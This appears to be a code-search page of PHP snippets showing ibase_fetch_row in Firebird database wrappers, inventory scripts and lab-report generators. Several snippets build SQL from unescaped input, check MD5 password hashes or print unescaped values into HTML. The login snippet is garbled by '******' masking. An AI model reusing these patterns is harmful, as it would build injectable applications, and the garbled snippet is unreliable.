Example #1
0
 function NumRows($result)
 {
     if (!is_resource($result)) {
         return false;
     }
     return ibase_fetch_row($result);
 }
Example #2
0
 function Buscar($q)
 {
     $conn = ibase_connect($this->src, $this->user, $this->password);
     $query = "SELECT INVE03.CVE_ART, INVE03.DESCR FROM inve03 where INVE03.DESCR LIKE '%" . $q . "%' AND INVE03.STATUS='A' OR INVE03.CVE_ART LIKE '%" . $q . "%' AND INVE03.STATUS='A' ORDER BY INVE03.CVE_ART";
     $inv = ibase_query($conn, $query);
     print "<table width='100%' border='0' cellspacing='0' cellpadding='0' style='font-family:Verdana; font-size:10; font-color:#CDCD'>\n\t\t\t\t<tr>\n\t\t\t\t\t<td></td>\n\t\t\t\t\t<td></td>\n\t\t\t\t\t<td></td>\n\t\t\t\t</tr>";
     while ($IN = ibase_fetch_row($inv)) {
         print "<tr>" . "<td>" . $IN[1] . "</td>" . "<td><input style='border:0; background-color: #f9f9f9; font-family:Verdana; font-size:10; font-color:#CDCD; cursor:pointer' type='submit' id='valor2' value='" . $IN[0] . "' onClick='Resultado(\"" . $IN[0] . "\");'/></td>" . "</tr>";
     }
     print "</table>";
 }
function searchRow($table, $idfield, $idvalue, $pparkir_id)
{
    $sql = 'select count(*) as jumlah from ' . $table . ' where ' . $idfield . ' = ' . $idvalue . ' and pparkir_id = ' . $pparkir_id;
    $result = ibase_query($sql);
    $row = ibase_fetch_row($result);
    if ($row[0]) {
        return true;
    } else {
        return false;
    }
}
    public function ValidarUsuario($login, $senha) {

	$sql = parent::execute_query("SELECT UCIDUSER, UCUSERNAME, UCLOGIN, UCINATIVE, UCPROFILE  FROM UCTABUSERS  WHERE UCLOGIN = "******"'$login'" . "AND PASSWORD_MD5 = " . "'$senha'");

	$usuario = FALSE;

	if (ibase_fetch_row($sql)) {
	    $sql = parent::execute_query("SELECT UCIDUSER, UCUSERNAME, UCLOGIN, UCPROFILE, UCINATIVE FROM UCTABUSERS  WHERE UCLOGIN = "******"'$login'" . "AND PASSWORD_MD5 = " . "'$senha'");

	    $linha = parent::criaObjetoConsulta($sql);



	    //Verifica se o usuário tem acesso ao modulo financeiro
	    if ($linha->UCLOGIN != 'ADMIN') {
		$linha2 = parent::criaObjetoConsulta(parent::execute_query("SELECT PERMITIR_ACESSO_FINANCEIRO_WEB FROM UCTABUSERS WHERE CHAVE_USER = "******"S") {
		    $this->setMotivoErro("Usuário não possui acesso ao módulo financeiro, solicite permissão ao administrador");
		    return FALSE;
		}
	    }

	    //Verifica se o usuário possui acesso somente ao módulo recepção para lançamentos de contas a receber
	    if ($linha->UCLOGIN != 'ADMIN') {
		$linha3 = parent::criaObjetoConsulta(parent::execute_query("SELECT PERMITIR_ACESSO_RECEPCAO_WEB FROM UCTABUSERS WHERE CHAVE_USER = "******"Usuário encontra-se inativo no sistema");
		return FALSE;
	    }

	    //Cria o objeto usuario
	    $usuario = new Musuario();
	    $usuario->setId($linha->UCIDUSER);
	    $usuario->setNome($linha->UCUSERNAME);
	    $usuario->setLogin($linha->UCLOGIN);
	    $usuario->setAtivo($linha->UCINATIVE);
	    //Recupera a filial padrão
	    $usuario->setFilialUsuario(parent::RecuperaCampo("MY_PARAMETRO_ID", "PARAMETRO", "PARAMETRO_ID", 1));
	    //Verifica se é usuário recepção
	    if ($usuario->getLogin() != 'ADMIN')
		$usuario->setModuloRecepcao(trim($linha3->PERMITIR_ACESSO_RECEPCAO_WEB));
	    return $usuario;
	}
	$this->setMotivoErro("Usuário ou senha incorreto");
	return FALSE;
    }
 function select($sql)
 {	$j=0;
    $Row=array(array());
	$this->sql_connect();
    $this->sql_query=$sql;
    $this->sql_execute();
	while($Mas = ibase_fetch_row($this->sql_result))
	{
		for ($i=0;$i<count($Mas);$i++){
	   $Row[$j][$i] = $Mas[$i];   
	   }
     $j++;   
       
    }
    return $Row;
 }
 function Count()
 {
     $_count_command = "SELECT COUNT(*) FROM (" . $this->SelectCommand . ") {where}";
     $_where = "";
     $_filters = $this->Filters;
     for ($i = 0; $i < sizeof($_filters); $i++) {
         $_where .= " and " . $this->GetFilterExpression($_filters[$i]);
     }
     if ($_where != "") {
         $_where = "WHERE " . substr($_where, 5);
     }
     $_count_command = str_replace("{where}", $_where, $_count_command);
     $_result = ibase_query($this->_Link, $_count_command);
     $_row = ibase_fetch_row($_result);
     ibase_free_result($_result);
     return $_row[0];
 }
 function fetch_row()
 {
     return ibase_fetch_row($this->_result);
 }
Example #8
0
     }
 }
 //CONECTA QUERETARO
 $conn10 = Connectqro();
 $sql10 = "SELECT MINVE03.CVE_ART, MINVE03.CVE_CPTO, MINVE03.FECHA_DOCU,MINVE03.REFER, SUM(MINVE03.CANT) AS CANTIDAD FROM MINVE03 WHERE MINVE03.CVE_CPTO = 7 AND ((MINVE03.FECHA_DOCU)>='{$fecha}') and ((MINVE03.FECHA_DOCU)<='{$fechaf}') and MINVE03.CVE_ART='{$clave}' GROUP BY MINVE03.CVE_ART, MINVE03.CVE_CPTO,MINVE03.FECHA_DOCU,MINVE03.REFER ORDER BY MINVE03.REFER, MINVE03.CVE_ART, MINVE03.FECHA_DOCU ASC  ";
 $ent10 = ibase_query($conn10, $sql10);
 while ($QRO = ibase_fetch_row($ent10)) {
     if ($S[3] == $QRO[3] and $S[0] == $QRO[0]) {
         $qro = 1;
     }
 }
 //CONECTA TUXTLA
 $conn11 = Connecttgz();
 $sql11 = "SELECT MINVE03.CVE_ART, MINVE03.CVE_CPTO, MINVE03.FECHA_DOCU,MINVE03.REFER, SUM(MINVE03.CANT) AS CANTIDAD FROM MINVE03 WHERE MINVE03.CVE_CPTO = 7 AND ((MINVE03.FECHA_DOCU)>='{$fecha}') and ((MINVE03.FECHA_DOCU)<='{$fechaf}') and MINVE03.CVE_ART='{$clave}' GROUP BY MINVE03.CVE_ART, MINVE03.CVE_CPTO,MINVE03.FECHA_DOCU,MINVE03.REFER ORDER BY MINVE03.REFER, MINVE03.CVE_ART, MINVE03.FECHA_DOCU ASC  ";
 $ent11 = ibase_query($conn11, $sql11);
 while ($TGZ = ibase_fetch_row($ent11)) {
     if ($S[3] == $TGZ[3] and $S[0] == $TGZ[0]) {
         $tgz = 1;
     }
 }
 if ($mex == 0 and $gto == 0 and $gdl == 0 and $mty == 0 and $pue == 0 and $ver == 0 and $cun == 0 and $mid == 0 and $cuu == 0 and $qro == 0 and $tgz == 0) {
     echo "<tr><td>{$S['0']}</td><td>{$S['3']}</td>";
     echo "<td>{$S['4']}</td>";
     echo "<td>{$maskSAL}</td><td>Sin Coincidencia</td></tr>";
     $count = $count + 1;
 }
 if ($mex == 1) {
     $mex = 0;
 }
 if ($gto == 1) {
     $gto = 0;
 /**
  * Fetches a row from the result set.
  *
  * @param int $style  OPTIONAL Fetch mode for this fetch operation.
  * @param int $cursor OPTIONAL Absolute, relative, or other.
  * @param int $offset OPTIONAL Number for absolute or relative cursors.
  * @return mixed Array, object, or scalar depending on fetch mode.
  * @throws Zend_Db_Statement_Exception
  */
 public function fetch($style = null, $cursor = null, $offset = null)
 {
     if (!$this->_stmtResult) {
         return false;
     }
     if ($style === null) {
         $style = $this->_fetchMode;
     }
     switch ($style) {
         case Zend_Db::FETCH_NUM:
             $row = ibase_fetch_row($this->_stmtResult, IBASE_TEXT);
             break;
         case Zend_Db::FETCH_ASSOC:
             $row = ibase_fetch_assoc($this->_stmtResult, IBASE_TEXT);
             break;
         case Zend_Db::FETCH_BOTH:
             $row = ibase_fetch_assoc($this->_stmtResult, IBASE_TEXT);
             if ($row !== false) {
                 $row = array_merge($row, array_values($row));
             }
             break;
         case Zend_Db::FETCH_OBJ:
             $row = ibase_fetch_object($this->_stmtResult, IBASE_TEXT);
             break;
         case Zend_Db::FETCH_BOUND:
             $row = ibase_fetch_assoc($this->_stmtResult, IBASE_TEXT);
             if ($row !== false) {
                 $row = array_merge($row, array_values($row));
                 $row = $this->_fetchBound($row);
             }
             break;
         default:
             /**
              * @see ZendX_Db_Adapter_Firebird_Exception
              */
             require_once 'ZendX/Db/Statement/Firebird/Exception.php';
             throw new ZendX_Db_Statement_Firebird_Exception("Invalid fetch mode '{$style}' specified");
             break;
     }
     return $row;
 }
Example #10
0
 while ($E = ibase_fetch_row($ent)) {
     if ($S[2] == $E[2] and $S[0] == $E[0]) {
         $fechasale = ibase_query($conn, $sqlF);
         while ($F = ibase_fetch_row($fechasale)) {
             if ($S[2] == $F[2] and $S[0] == $F[0]) {
                 $encontro = $F[1];
             }
         }
         $cantDifsal = ibase_query($conn, $sql3);
         while ($SD = ibase_fetch_row($cantDifsal)) {
             if ($S[2] == $SD[2] and $S[0] == $SD[0]) {
                 $difSal = $SD[3];
             }
         }
         $cantDifent = ibase_query($conn2, $sql4);
         while ($SE = ibase_fetch_row($cantDifent)) {
             if ($E[2] == $SE[2] and $E[0] == $SE[0]) {
                 $difEnt = $SE[3];
             }
         }
         //Calculo diferencias en montos de Salidas
         $maskCantS = $S[3] * -1;
         $totalDifsal = $maskCantS + $difSal;
         $totalDifent = $E[3] - $difEnt;
         $dif = $totalDifsal + $totalDifent;
         $fechasal = $encontro;
         $maskSAL = $fechasal[8] . $fechasal[9] . $fechasal[7] . $fechasal[5] . $fechasal[6] . $fechasal[4] . $fechasal[0] . $fechasal[1] . $fechasal[2] . $fechasal[3];
         $count = $count + 1;
         if ($dif == 0) {
             echo "<tr style='font-size:9px; color:#000000'><td style='font-family:Verdana'>{$count}</td><td style='font-family:Consolas;font-size:11px'>{$S['0']}</td><td style='font-family:Verdana'>{$S['2']}</td><td align='center' style='font-family:Verdana'>{$totalDifsal}</td><td align='center' style='font-family:Verdana'>{$maskSAL}</td><td style='font-family:Verdana'>{$E['2']}</td><td align='center' style='font-family:Verdana'>{$totalDifent}</td><td style='font-family:Verdana'>{$dif}</td>";
         } else {
Example #11
0
                }
                $kdl .= "~ \\footnotesize " . $row[0] . " & \\footnotesize " . $ress . " & \\footnotesize " . $unit . " & \\footnotesize " . $charlimits . " \\\\ \n";
                $kdl .= "\\hline" . "\n";
            }
            ibase_free_result($res);
        }
    }
}
$kdluser = "";
$restm = "select distinct u.fullname from ordtask o inner join users u on u.usernam = o.appruser where o.ordersid in(" . $ordersid . ") and o.testcode in (791, 1974) order by o.apprdate desc";
$res = ibase_query($dbh, $restm);
while ($row = ibase_fetch_row($res)) {
    $kdluser .= $row[0] . " ";
}
ibase_free_result($res);
$kdlcomments = "";
$restm = "select distinct f.comments  from foldercomments f inner join orders o on o.folderno = f.folderno  inner join ordtask ord on ord.ordersid=o.id   where o.id in(" . $ordersid . ") and ord.testcode in (791,1974) and f.flag = 'Y' and f.ordtaskid =ord.id  order by f.id";
$res = ibase_query($dbh, $restm);
while ($row = ibase_fetch_row($res)) {
    $kdlcomments .= "\\small \\quad " . $row[0] . "\n\n";
}
ibase_free_result($res);
$kdlhead = "\n\\begin{longtable}[h]{|m{160px}|>{\\centering\\arraybackslash}p{105px}|m{55px}|m{122.5px}|}\n\\hline\nИсследование &  Результат &  Единицы \\newline  измерения & Референты \\\\\n\\hline";
$kdlcomments = str_replace('%', '\\%', $kdlcomments);
$restm = "select r.finalresult from results r inner join ordtask o on o.id = r.ordtaskid  where o.ordersid in ( " . $ordersid . ") and r.analyteid= 2884";
$res = ibase_query($dbh, $restm);
$row = ibase_fetch_row($res);
$data = " ВПЧ HPVвкр-б/о типа-кач-ДНК & " . $row[0] . "  & & \\\\ \\end{longtable} \\vspace{-24px}";
$kdlend = "\\end{longtable} \\vspace{-5px} Комментарии: " . $kdlcomments . "\n \\begin{center} \\textbf{Цитологические исследования} \n\n \\end{center}";
$end = "\n\n\\ \\flushleft \\textbf{Исследования проводили}:\n\\flushleft Маркеры опухолевого роста: " . $kdluser . " \\vspace{-3px}\n\\flushleft Цитологические исследования: " . $apprusergist . " \\vspace{-3px} \n\\flushleft ПЦР-исследования: " . $apprpcr . " \\vspace{-3px}\n\\flushright Дата выдачи: " . $apprdate;
$response = $head . $kdlhead . $kdl . $kdlend . $results . $headpcr . $kdlhead . $data . $pcr . $endpcr . $end;
Example #12
0
 /**
  * Retorna o ultimo ID da tabela para campos auto-increment
  * @author Hugo Ferreira da Silva
  * @param string $campo Nome do campo da tabela de auto-increment
  * @return int Valor da ultima insercao
  */
 public function getLastId($campo)
 {
     //////////////////////////////////////////////////////////////////
     // GAMBIARRA FORTE!
     // Aqui pegamos as triggers relacionadas a tabela
     // e procuramos no corpo da trigger uma linha semelhante a
     // new.nome_campo = gen_id(nome_sequencia, 1)
     // para pegarmos o nome da sequencia e consequentemente
     // podermos recuperar o ultimo valor
     //////////////////////////////////////////////////////////////////
     $cn = $this->getConnection();
     $sql = "SELECT RDB\$TRIGGER_SOURCE AS triggers FROM RDB\$TRIGGERS\n\t\t\t\t WHERE (RDB\$SYSTEM_FLAG IS NULL\n\t\t\t\t\tOR RDB\$SYSTEM_FLAG = 0)\n\t\t\t\t   AND RDB\$RELATION_NAME='" . $this->getTablename() . "'";
     $rs = $cn->executeSQL($sql);
     while ($row = ibase_fetch_assoc($rs, IBASE_FETCH_BLOBS)) {
         // oba! achamos o lance
         $exp = '@new\\.' . $campo . '\\s+=\\s+gen_id\\((\\w+)@is';
         $res = preg_match($exp, trim($row['TRIGGERS']), $reg);
         if ($res) {
             ibase_free_result($rs);
             $sql = "SELECT GEN_ID(" . $reg[1] . ", 0) as lastid FROM RDB\$DATABASE";
             $rs = $cn->executeSQL($sql);
             $row = ibase_fetch_row($rs);
             ibase_free_result($rs);
             return $row[0];
         }
     }
     ibase_free_result($rs);
     return 0;
 }
Example #13
0
function form30($orders, $dbh, $crd)
{
    $curdate = date("m.d.Y");
    $ordersid = "";
    $n = count($orders);
    for ($i = 1; $i < $n; $i++) {
        $ordersid .= $orders[$i];
        if ($i != $n - 1) {
            $ordersid .= ",";
        }
    }
    $results = "";
    $stmt = "select t.testname, t.id, o.id from ordtask o inner join tests t on t.id = o.testcode inner join orders ord on ord.id = o.ordersid inner join panels p on p.id = ord.panelid where ord.id in (" . $ordersid . ") order by p.priority ";
    $result = ibase_query($dbh, $stmt);
    while ($row = ibase_fetch_row($result)) {
        $restm = "select count(*) from results where ordtaskid = " . $row[2] . " and finalresult is not null and status in ('O','E') and show = 'Y'";
        $res = ibase_query($dbh, $restm);
        $n = ibase_fetch_row($res);
        $n = $n[0];
        ibase_free_result($res);
        if ($n == 1) {
            $restm = "select a.analyte, case a.analtype when 3 then replace(r.finalresult,'.',',') else coalesce(pos.inreport, r.finalresult) end, u.short, r.charlimits, r.status from results r left join units u on u.id = r.unit inner join analytes a on a.id = r.analyteid left join possibleresults pos on pos.analyte = r.analyteid  and r.rawresult = pos.result where r.ordtaskid = " . $row[2] . " and finalresult is not null order by a.sorter ";
            $res = ibase_query($dbh, $restm);
            $row = ibase_fetch_row($res);
            $ress = $row[1];
            if ($row[4] == "O") {
                $ress = "\\textbf{" . $row[1] . "}";
            }
            $row[0] = str_replace('%', '\\%', $row[0]);
            $row[0] = str_replace('β', '$\\beta$', $row[0]);
            $results .= "\\textbf{" . $row[0] . "} & " . $ress . " & " . $row[2] . " & " . $row[3] . " \\\\ \n";
            $results .= "\\hline" . "\n";
            ibase_free_result($res);
        } else {
            $row[0] = str_replace('%', '\\%', $row[0]);
            $row[0] = str_replace('β', '$\\beta$', $row[0]);
            $results .= "\\textbf{" . $row[0] . "} & & & \\\\ \n\\hline \n";
            $restm = "select a.analyte, case a.analtype when 3 then replace(r.finalresult,'.',',') else coalesce(pos.inreport, r.finalresult) end, coalesce(u.short, ' '), coalesce(r.charlimits, ' '), r.status from results r left join units u on u.id = r.unit inner join analytes a on a.id = r.analyteid left join possibleresults pos on pos.analyte = r.analyteid and pos.result = r.rawresult  where r.ordtaskid = " . $row[2] . " and finalresult is not null order by a.sorter";
            $res = ibase_query($dbh, $restm);
            while ($row = ibase_fetch_row($res)) {
                $unit = $row[2];
                //$unit = str_replace('%','\\%',$row[2]);
                //$unit = str_replace('^','\\^{}',$unit);
                $charlimits = str_replace('%', '\\%', $row[3]);
                $charlimits = str_replace('^', '\\^{}', $charlimits);
                $ress = $row[1];
                if ($row[4] == "O") {
                    $ress = "\\textbf{" . $row[1] . "}";
                }
                $results .= "~ \\footnotesize " . $row[0] . " & \\footnotesize " . $ress . " & \\footnotesize " . $unit . " & \\footnotesize " . $charlimits . " \\\\ \n";
                $results .= "\\hline" . "\n";
            }
            ibase_free_result($res);
        }
    }
    $user = "";
    $restm = "select distinct coalesce(u.fullname, '') from users u inner join results r on r.usernam = u.usernam inner join ordtask o on o.id = r.ordtaskid inner join orders ord on ord.id = o.ordersid where ord.id in (" . $ordersid . ") ";
    $res = ibase_query($dbh, $restm);
    while ($row = ibase_fetch_row($res)) {
        $user .= $row[0];
    }
    ibase_free_result($res);
    $appruser = "";
    $restm = "select distinct u.fullname from ordtask o inner join users u on u.usernam = o.appruser where o.ordersid in(" . $ordersid . ")";
    $res = ibase_query($dbh, $restm);
    while ($row = ibase_fetch_row($res)) {
        $appruser .= $row[0] . " ";
    }
    ibase_free_result($res);
    $comments = "";
    $restm = "select distinct f.comments  from foldercomments f inner join orders o on o.folderno = f.folderno where o.id in(" . $ordersid . ") and f.flag = 'Y' order by f.id";
    $res = ibase_query($dbh, $restm);
    while ($row = ibase_fetch_row($res)) {
        $comments .= "\\small \\quad " . $row[0] . "\n\n";
    }
    ibase_free_result($res);
    $biomat = find_biomat($ordersid, $dbh);
    $panelname = find_panel($ordersid, $dbh);
    $head = "\\vspace{-10px} \\flushleft \\normalsize Биоматериал: " . $biomat . "\n\n\\vspace{3px}";
    $head .= "\n\n\\vspace{1px}";
    $head .= "\\begin{center} ";
    $head .= "\\textbf{" . $panelname . "}\\end{center} \n\n\\vspace{-5px}";
    $head .= "\n\\begin{longtable}[h]{|m{160px}|>{\\centering\\arraybackslash}p{100px}|m{60px}|m{112px}|}\n\\hline\nИсследование & Результат & Единицы \\newline  измерения & Референты \\\\\n\\hline";
    $apprdate = find_apprdate($ordersid, $dbh);
    $comments = str_replace('%', '\\%', $comments);
    $end = "\\end{longtable}\n\\vspace{-15px}\n\\flushleft Комментарии:" . $comments . "\n\\vspace{-4px}\n\\flushleft Исследования проводил: " . $user . " \n\\vspace{-4px}\n\\flushleft Выпускающий врач: " . $appruser . " \n\\newline\n\\flushright Дата выдачи: " . $apprdate;
    return $head . $results . $end;
}
Example #14
0
 /**
  * Places a row from the result set into the given array
  *
  * Formating of the array and the data therein are configurable.
  * See DB_result::fetchInto() for more information.
  *
  * This method is not meant to be called directly.  Use
  * DB_result::fetchInto() instead.  It can't be declared "protected"
  * because DB_result is a separate object.
  *
  * @param resource $result    the query result resource
  * @param array    $arr       the referenced array to put the data in
  * @param int      $fetchmode how the resulting array should be indexed
  * @param int      $rownum    the row number to fetch (0 = first row)
  *
  * @return mixed  DB_OK on success, NULL when the end of a result set is
  *                 reached or on failure
  *
  * @see DB_result::fetchInto()
  */
 function fetchInto($result, &$arr, $fetchmode, $rownum = null)
 {
     if ($rownum !== null) {
         return $this->ibaseRaiseError(DB_ERROR_NOT_CAPABLE);
     }
     if ($fetchmode & DB_FETCHMODE_ASSOC) {
         if (function_exists('ibase_fetch_assoc')) {
             $arr = @ibase_fetch_assoc($result);
         } else {
             $arr = get_object_vars(ibase_fetch_object($result));
         }
         if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE && $arr) {
             $arr = array_change_key_case($arr, CASE_LOWER);
         }
     } else {
         $arr = @ibase_fetch_row($result);
     }
     if (!$arr) {
         return null;
     }
     if ($this->options['portability'] & DB_PORTABILITY_RTRIM) {
         $this->_rtrimArrayValues($arr);
     }
     if ($this->options['portability'] & DB_PORTABILITY_NULL_TO_EMPTY) {
         $this->_convertNullArrayValuesToEmpty($arr);
     }
     return DB_OK;
 }
Example #15
0
 function NumberOfRows($result)
 {
     $result_value = intval($result);
     if (!isset($this->current_row[$result_value])) {
         return $this->SetError("Number of rows", "attemped to obtain the number of rows contained in an unknown query result");
     }
     if (!isset($this->rows[$result_value])) {
         if (!$this->GetColumnNames($result, $column_names)) {
             return 0;
         }
         if (isset($this->limits[$result_value])) {
             if (!$this->SkipFirstRows($result)) {
                 $this->rows[$result_value] = 0;
                 return 0;
             }
             $limit = $this->limits[$result_value][1];
         } else {
             $limit = 0;
         }
         if ($limit == 0 || $this->current_row[$result_value] + 1 < $limit) {
             if (isset($this->row_buffer[$result_value])) {
                 $this->current_row[$result_value]++;
                 $this->results[$result_value][$this->current_row[$result_value]] = $this->row_buffer[$result_value];
                 unset($this->row_buffer[$result_value]);
             }
             for (; ($limit == 0 || $this->current_row[$result_value] + 1 < $limit) && GetType($this->results[$result_value][$this->current_row[$result_value] + 1] = @ibase_fetch_row($result)) == "array"; $this->current_row[$result_value]++) {
             }
         }
         $this->rows[$result_value] = $this->current_row[$result_value] + 1;
     }
     return $this->rows[$result_value];
 }
Example #16
0
 /**
  * Devuelve fila por fila el contenido de un select
  *
  * @param resource $result_query
  * @param int $opt
  * @return array
  */
 public function fetch_array($result_query = '', $opt = MYSQL_BOTH)
 {
     if (!$this->id_connection) {
         return false;
     }
     if (!$result_query) {
         $result_query = $this->last_result_query;
         if (!$result_query) {
             return false;
         }
     }
     if ($opt == db::DB_BOTH) {
         $fetch = ibase_fetch_assoc($result_query);
         $result = array();
         $i = 0;
         foreach ($fetch as $key => $value) {
             $result[$key] = $value;
             $result[$i++] = $value;
         }
         return $result;
     }
     if ($opt == db::DB_ASSOC) {
         return ibase_fetch_assoc($result_query);
     }
     if ($opt == db::DB_NUM) {
         return ibase_fetch_row($result_query);
     }
     return $result;
 }
Example #17
0
     }
 }
 $fechasale = ibase_query($conn, $sqlF);
 while ($F = ibase_fetch_row($fechasale)) {
     if ($C[2] == $F[2] and $C[0] == $F[0]) {
         $encontro = $F[1];
     }
 }
 $invcosto = ibase_query($conninv, $sqlCosto);
 while ($COSTO = ibase_fetch_row($invcosto)) {
     if ($C[0] == $COSTO[0]) {
         $ult_costo = $COSTO[1];
     }
 }
 $enlace = ibase_query($conn, $sqlDoctoE);
 while ($ENC = ibase_fetch_row($enlace)) {
     if ($C[0] == $ENC[0] and $C[2] == $ENC[1]) {
         $enlazado = $ENC[2];
     }
 }
 $fechasal = $encontro;
 $maskSAL = $fechasal[8] . $fechasal[9] . $fechasal[7] . $fechasal[5] . $fechasal[6] . $fechasal[4] . $fechasal[0] . $fechasal[1] . $fechasal[2] . $fechasal[3];
 $counter = $count + 1;
 $count = $counter;
 $diferencia = $C[3] - $dif;
 //Convierte
 $kardex2 = $kardex;
 @touch($kardex2);
 if (filesize($kardex2) > 1024000) {
     rename($kardex2, $kardex2 . '_' . date(Ymdhis));
 }
Example #18
0
 /**
  *@package db_firebird
  *@method fetch_array()
  *@desc Fetch a result row as an associative array, a numeric array, or both depending on query() or query_assoc() method
  *@since v0.3.1
  * */
 public function fetch_array($rs = '')
 {
     $Resource = $rs != '' ? $rs : $this->resource;
     if ($this->query_is_assoc == true) {
         return ibase_fetch_assoc($Resource);
     } else {
         return ibase_fetch_row($Resource);
     }
 }
Example #19
0
 function fetchInto($result, &$ar, $fetchmode, $rownum = null)
 {
     if ($rownum !== NULL) {
         return $this->ibaseRaiseError(DB_ERROR_NOT_CAPABLE);
     }
     if ($fetchmode & DB_FETCHMODE_ASSOC) {
         if (function_exists('ibase_fetch_assoc')) {
             $ar = @ibase_fetch_assoc($result);
         } else {
             $ar = get_object_vars(ibase_fetch_object($result));
         }
         if ($ar && $this->options['optimize'] == 'portability') {
             $ar = array_change_key_case($ar, CASE_LOWER);
         }
     } else {
         $ar = @ibase_fetch_row($result);
     }
     if (!$ar) {
         if ($errmsg = ibase_errmsg()) {
             return $this->ibaseRaiseError(null, $errmsg);
         } else {
             return null;
         }
     }
     return DB_OK;
 }
Example #20
0
$cant = 0;
$dif = 0;
$ult_costo = 0;
$kardex = "D:/SAE50/MOVIMIENTOS/" . "{$nombreTXT}" . ".txt";
if (file_exists($kardex)) {
    ?>
	 <script language='JavaScript'> 
     alert('ERROR!!! NO SE GENERO EL ARCHIVO: Un archivo ya existe con ese nombre. Revisar carpeta de movimientos.'); 
	 window.location="indexexporta.php";
     </script>
	<?php 
    $kardex = null;
}
while ($C = ibase_fetch_row($cedis)) {
    $invcosto = ibase_query($conninv, $sqlCosto);
    while ($COSTO = ibase_fetch_row($invcosto)) {
        if ($C[0] == $COSTO[0]) {
            $ult_costo = $COSTO[1];
        }
    }
    $fechaE = $C[2];
    $fechaDocu = $fechaE[8] . $fechaE[9] . $fechaE[7] . $fechaE[5] . $fechaE[6] . $fechaE[4] . $fechaE[0] . $fechaE[1] . $fechaE[2] . $fechaE[3] . $fechaE[10];
    if (!$conninv) {
        ?>
 	 <script language='JavaScript'> 
     alert('ERROR DE CONEXION: VUELVE A GENERAR TU REPORTE'); 
	 window.location="indexexporta.php";
     </script>
<?php 
    } else {
        //Convierte
Example #21
0
function gcms_fetch_row($nresult)
{
    return ibase_fetch_row($nresult);
}
function sql_fetch_row(&$res, $nr = 0)
{
    global $dbtype;
    switch ($dbtype) {
        case "MySQL":
            $row = mysql_fetch_row($res);
            return $row;
            break;
        case "mSQL":
            $row = msql_fetch_row($res);
            return $row;
            break;
        case "postgres":
        case "postgres_local":
            if ($res->get_total_rows() > $res->get_fetched_rows()) {
                $row = pg_fetch_row($res->get_result(), $res->get_fetched_rows());
                $res->increment_fetched_rows();
                return $row;
            } else {
                return false;
            }
            break;
        case "ODBC":
        case "ODBC_Adabas":
            $row = array();
            $cols = odbc_fetch_into($res, $nr, $row);
            return $row;
            break;
        case "Interbase":
            $row = ibase_fetch_row($res);
            return $row;
            break;
        case "Sybase":
            $row = sybase_fetch_row($res);
            return $row;
            break;
        default:
            break;
    }
}
Example #23
0
                $unit = $row[2];
                $charlimits = str_replace('%', '\\%', $row[3]);
                $charlimits = str_replace('^', '\\^{}', $charlimits);
                $ress = $row[1];
                if ($row[4] == "O") {
                    $ress = "\\textbf{" . $row[1] . "}";
                }
                $results .= "~ \\footnotesize " . $row[0] . " & \\footnotesize " . $ress . " & \\footnotesize " . $unit . " \\\\ \n";
                $results .= "\\hline" . "\n";
            }
            ibase_free_result($res);
        }
    }
}
$user = getUserEnterResults($ordersid, $dbh);
$appruser = getApprUser($ordersid, $dbh);
$comments = "";
$restm = "select distinct f.comments  from foldercomments f inner join orders o on o.folderno = f.folderno where o.id in(" . $ordersid . ") and f.flag = 'Y' order by f.id";
$res = ibase_query($dbh, $restm);
while ($row = ibase_fetch_row($res)) {
    $comments .= "\\small \\quad " . $row[0] . "\n\n";
}
ibase_free_result($res);
$biomat = find_biomat($ordersid, $dbh);
$head = "\\SetWatermarkText{" . $watermark . "}\n";
$head .= "\\vspace{-10px} \\flushleft \\normalsize  Биоматериал: " . $biomat . "\n\n\\vspace{3px}";
$head .= "\n\\begin{longtable}[h]{|m{230px}|>{\\centering\\arraybackslash}p{140px}|m{90px}|}\n\\hline\nИсследование & Результат & Единицы \\newline  измерения \\\\\n\\hline";
$apprdate = find_apprdate($ordersid, $dbh);
$comments = str_replace('%', '\\%', $comments);
$end = "\\end{longtable}\n\\vspace{-15px}\n\\flushleft Комментарии:" . $comments . "\n\\vspace{-4px}\n\\flushleft Исследования проводил: " . $user . " \n\\vspace{-4px}\n\\flushleft Выпускающий врач: " . $appruser . " \n\\newline\n\\flushright Дата выдачи: " . $apprdate;
$response = $head . $results . $end;
Example #24
0
 /**
  * Fetches a row from the result set.
  *
  * @param int $style  OPTIONAL Fetch mode for this fetch operation.
  * @param int $cursor OPTIONAL Absolute, relative, or other.
  * @param int $offset OPTIONAL Number for absolute or relative cursors.
  * @return mixed Array, object, or scalar depending on fetch mode.
  * @throws Zend_Db_Statement_Exception
  */
 public function fetch($style = null, $cursor = null, $offset = null)
 {
     if (!$this->_stmt_result) {
         return false;
     }
     if ($style === null) {
         $style = $this->_fetchMode;
     }
     // @todo, respect the foldCase for column names
     switch ($style) {
         case Zend_Db::FETCH_NUM:
             $row = ibase_fetch_row($this->_stmt_result, IBASE_TEXT);
             break;
         case Zend_Db::FETCH_ASSOC:
             $row = ibase_fetch_assoc($this->_stmt_result, IBASE_TEXT);
             break;
         case Zend_Db::FETCH_BOTH:
             $row = ibase_fetch_assoc($this->_stmt_result, IBASE_TEXT);
             $values = array_values($row);
             foreach ($values as $val) {
                 $row[] = $val;
             }
             break;
         case Zend_Db::FETCH_OBJ:
             $row = ibase_fetch_object($this->_stmt_result, IBASE_TEXT);
             break;
         case Zend_Db::FETCH_BOUND:
             $row = ibase_fetch_assoc($this->_stmt_result, IBASE_TEXT);
             $values = array_values($row);
             foreach ($values as $val) {
                 $row[] = $val;
             }
             if ($row !== false) {
                 return $this->_fetchBound($row);
             }
             break;
         default:
             /**
              * @see Zend_Db_Adapter_Firebird_Exception
              */
             require_once 'Zend/Db/Statement/Firebird/Exception.php';
             throw new Zend_Db_Statement_Firebird_Exception("Invalid fetch mode '{$style}' specified");
             break;
     }
     if (!$row && ($error = ibase_errcode())) {
         /**
          * @see Zend_Db_Adapter_Firebird_Exception
          */
         require_once 'Zend/Db/Statement/Firebird/Exception.php';
         throw new Zend_Db_Statement_Firebird_Exception($error);
     }
     /*
             switch ($this->_adapter->caseFolding) {
                 case Zend_Db::CASE_LOWER:
                     $r = array_change_key_case($row, CASE_LOWER);
                     break;
                 case Zend_Db::CASE_UPPER:
                     $r = array_change_key_case($row, CASE_UPPER);
                     break;
                 case default:
                     $r = $row;
                     break;
             }*/
     return $row;
 }
Example #25
0
 }
 if ($num_suc == 9) {
     $conn = Connectqro();
     $ABR = 'QRO';
 }
 if ($num_suc == 10) {
     $conn = Connecttgz();
     $ABR = 'TGZ';
 }
 if ($clave == '') {
